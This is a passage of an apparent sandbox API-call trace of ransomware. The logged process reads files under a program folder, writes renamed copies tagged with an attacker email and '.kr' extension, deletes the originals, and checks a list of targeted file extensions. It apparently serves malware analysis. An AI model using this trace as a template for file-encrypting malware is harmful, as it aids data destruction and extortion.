lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.841] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.841] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.893] GetLastError () returned 0x0 [0083.893] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xdc6, lpOverlapped=0x0) returned 1 [0083.895] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xdd0, lpOverlapped=0x0) returned 1 [0083.897] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0083.897] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe4, lpOverlapped=0x0) returned 1 [0083.897] SetEndOfFile (hFile=0x318) returned 1 [0083.898] CloseHandle (hObject=0x318) returned 1 [0083.899] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.899] SetEndOfFile (hFile=0x314) returned 1 [0083.901] CloseHandle (hObject=0x314) returned 1 [0083.901] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.901] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0083.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.902] lstrlenW (lpString=".doc") returned 4 [0083.902] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.902] lstrlenW (lpString=".docx") returned 5 [0083.902] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.902] lstrlenW (lpString=".pdf") returned 4 [0083.902] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.902] lstrlenW (lpString=".xls") returned 4 [0083.902] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0083.902] lstrlenW (lpString=".xlsx") returned 5 [0083.902] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0083.902] lstrlenW (lpString=".ppt") returned 4 [0083.902] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.903] lstrlenW (lpString=".zip") returned 4 [0083.903] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0083.903] lstrlenW (lpString=".rar") returned 4 [0083.903] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.903] lstrlenW (lpString=".bz2") returned 4 [0083.903] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.903] lstrlenW (lpString=".7z") returned 3 [0083.903] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.903] lstrlenW (lpString=".dbf") returned 4 [0083.903] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.903] lstrlenW (lpString=".1cd") returned 4 [0083.903] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.903] lstrlenW (lpString=".jpg") returned 4 [0083.903] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.903] lstrlenW (lpString=".doc") returned 4 [0083.903] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.904] lstrlenW (lpString=".docx") returned 5 [0083.904] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.904] lstrlenW (lpString=".pdf") returned 4 [0083.904] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.904] lstrlenW (lpString=".xls") returned 4 [0083.904] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0083.904] lstrlenW (lpString=".xlsx") returned 5 [0083.904] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0083.904] lstrlenW (lpString=".ppt") returned 4 [0083.904] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.904] lstrlenW (lpString=".zip") returned 4 [0083.904] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0083.905] lstrlenW (lpString=".rar") returned 4 [0083.905] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.905] lstrlenW (lpString=".bz2") returned 4 [0083.905] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.905] lstrlenW (lpString=".7z") returned 3 [0083.905] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.905] lstrlenW (lpString=".dbf") returned 4 [0083.905] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.905] lstrlenW (lpString=".1cd") returned 4 [0083.905] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0083.905] lstrlenW (lpString=".jpg") returned 4 [0083.905] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.905] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0083.905] lstrlenW (lpString="eula.rtf") returned 8 [0083.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.906] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6851) returned 1 [0083.906] CloseHandle (hObject=0x314) returned 1 [0083.906] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0083.906] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.907] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.907] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.909] GetLastError () returned 0x0 [0083.909] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0083.913] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0083.914] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0083.914] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe4, lpOverlapped=0x0) returned 1 [0083.914] SetEndOfFile (hFile=0x318) returned 1 [0083.914] CloseHandle (hObject=0x318) returned 1 [0083.920] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.920] SetEndOfFile (hFile=0x314) returned 1 [0083.921] CloseHandle (hObject=0x314) returned 1 [0083.921] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.922] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0083.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.922] lstrlenW (lpString=".doc") returned 4 [0083.922] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.922] lstrlenW (lpString=".docx") returned 5 [0083.922] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.922] lstrlenW (lpString=".pdf") returned 4 [0083.922] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.922] lstrlenW (lpString=".xls") returned 4 [0083.922] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0083.922] lstrlenW (lpString=".xlsx") returned 5 [0083.922] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0083.923] lstrlenW (lpString=".ppt") returned 4 [0083.923] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.923] lstrlenW (lpString=".zip") returned 4 [0083.923] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0083.923] lstrlenW (lpString=".rar") returned 4 [0083.923] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString=".bz2") returned 4 [0083.923] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString=".7z") returned 3 [0083.923] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.923] lstrlenW (lpString=".dbf") returned 4 [0083.923] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.923] lstrlenW (lpString=".1cd") returned 4 [0083.923] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.923] lstrlenW (lpString=".jpg") returned 4 [0083.923] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.923] lstrlenW (lpString=".doc") returned 4 [0083.923] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.923] lstrlenW (lpString=".docx") returned 5 [0083.923] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.924] lstrlenW (lpString=".pdf") returned 4 [0083.924] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.924] lstrlenW (lpString=".xls") returned 4 [0083.924] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0083.924] lstrlenW (lpString=".xlsx") returned 5 [0083.924] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0083.924] lstrlenW (lpString=".ppt") returned 4 [0083.924] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.924] lstrlenW (lpString=".zip") returned 4 [0083.924] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0083.924] lstrlenW (lpString=".rar") returned 4 [0083.924] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.924] lstrlenW (lpString=".bz2") returned 4 [0083.924] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.924] lstrlenW (lpString=".7z") returned 3 [0083.924] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.924] lstrlenW (lpString=".dbf") returned 4 [0083.924] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.924] lstrlenW (lpString=".1cd") returned 4 [0083.924] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0083.924] lstrlenW (lpString=".jpg") returned 4 [0083.924] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.925] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0083.925] lstrlenW (lpString="LocalizedData.xml") returned 17 [0083.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.926] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=72076) returned 1 [0083.926] CloseHandle (hObject=0x314) returned 1 [0083.926] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0083.926] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.926] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.926] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.927] GetLastError () returned 0x0 [0083.927] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x1198c, lpOverlapped=0x0) returned 1 [0084.266] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x11990, lpOverlapped=0x0) returned 1 [0084.268] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0084.268] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xf6, lpOverlapped=0x0) returned 1 [0084.268] SetEndOfFile (hFile=0x318) returned 1 [0084.268] CloseHandle (hObject=0x318) returned 1 [0084.271] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0084.271] SetEndOfFile (hFile=0x314) returned 1 [0084.273] CloseHandle (hObject=0x314) returned 1 [0084.273] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.273] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0084.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.274] lstrlenW (lpString=".doc") returned 4 [0084.274] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.274] lstrlenW (lpString=".docx") returned 5 [0084.274] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.274] lstrlenW (lpString=".pdf") returned 4 [0084.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.274] lstrlenW (lpString=".xls") returned 4 [0084.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.274] lstrlenW (lpString=".xlsx") returned 5 [0084.274] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.274] lstrlenW (lpString=".ppt") returned 4 [0084.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.274] lstrlenW (lpString=".zip") returned 4 [0084.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.274] lstrlenW (lpString=".rar") returned 4 [0084.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.274] lstrlenW (lpString=".bz2") returned 4 [0084.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.274] lstrlenW (lpString=".7z") returned 3 [0084.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.274] lstrlenW (lpString=".dbf") returned 4 [0084.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.275] lstrlenW (lpString=".1cd") returned 4 [0084.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.275] lstrlenW (lpString=".jpg") returned 4 [0084.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.275] lstrlenW (lpString=".doc") returned 4 [0084.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString=".docx") returned 5 [0084.275] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.275] lstrlenW (lpString=".pdf") returned 4 [0084.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString=".xls") returned 4 [0084.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString=".xlsx") returned 5 [0084.275] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.275] lstrlenW (lpString=".ppt") returned 4 [0084.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.275] lstrlenW (lpString=".zip") returned 4 [0084.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.275] lstrlenW (lpString=".rar") returned 4 [0084.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString=".bz2") returned 4 [0084.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.275] lstrlenW (lpString=".7z") returned 3 [0084.276] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.276] lstrlenW (lpString=".dbf") returned 4 [0084.276] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.276] lstrlenW (lpString=".1cd") returned 4 [0084.276] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0084.276] lstrlenW (lpString=".jpg") returned 4 [0084.276] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.276] Sleep (dwMilliseconds=0x64) [0084.592] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0084.593] lstrlenW (lpString="LocalizedData.xml") returned 17 [0084.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0085.666] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=68226) returned 1 [0085.676] CloseHandle (hObject=0x34c) returned 1 [0085.676] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0085.676] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0085.676] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0085.677] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0085.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0085.677] GetLastError () returned 0x0 [0085.677] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x10a82, lpOverlapped=0x0) returned 1 [0085.681] WriteFile (in: hFile=0x328, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x10a90, lpOverlapped=0x0) returned 1 [0085.684] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0085.684] WriteFile (in: hFile=0x328, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xf6, lpOverlapped=0x0) returned 1 [0085.684] SetEndOfFile (hFile=0x328) returned 1 [0085.684] CloseHandle (hObject=0x328) returned 1 [0085.687] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0085.687] SetEndOfFile (hFile=0x34c) returned 1 [0085.689] CloseHandle (hObject=0x34c) returned 1 [0085.689] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.689] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0085.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0085.690] lstrlenW (lpString=".doc") returned 4 [0085.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.690] lstrlenW (lpString=".docx") returned 5 